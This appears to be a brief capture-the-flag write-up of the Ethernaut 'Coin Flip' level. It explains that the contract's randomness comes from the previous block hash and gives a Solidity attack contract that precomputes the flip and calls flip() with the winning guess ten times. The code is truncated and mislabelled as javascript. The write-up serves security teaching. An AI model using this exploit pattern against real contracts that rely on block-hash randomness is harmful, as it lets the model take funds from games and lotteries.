Writeups/Ethernaut/Coin Flip
EasyEthernaut · Ethernaut2024

Coin Flip

Pseudo-Randomness from Block Hash

The contract derives its "random" flip outcome from `blockhash(block.number - 1)`. Since this value is deterministic within the same block, a front-running attack contract can pre-compute the outcome and call `flip()` with the guaranteed correct guess.

SolidityRandomnessBlock HashPredictability

00Overview

The contract derives its "random" flip outcome from `blockhash(block.number - 1)`. Since this value is deterministic within the same block, a front-running attack contract can pre-compute the outcome and call `flip()` with the guaranteed correct guess.

01Deploy an attack contract

Mirror the flip calculation in a separate contract.

javascript
contract CoinFlipAttack {
    CoinFlip target;
    uint256 constant FACTOR = 57896...;

    function attack() external {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    }
}

02Call attack() 10 consecutive times

Each call pre-computes the outcome from the same block hash and passes the correct guess.

javascript
// Call attack() once per block, 10 times

03Level Completed

Coin Flip — completion screenshot 1
Coin Flip — completion screenshot 2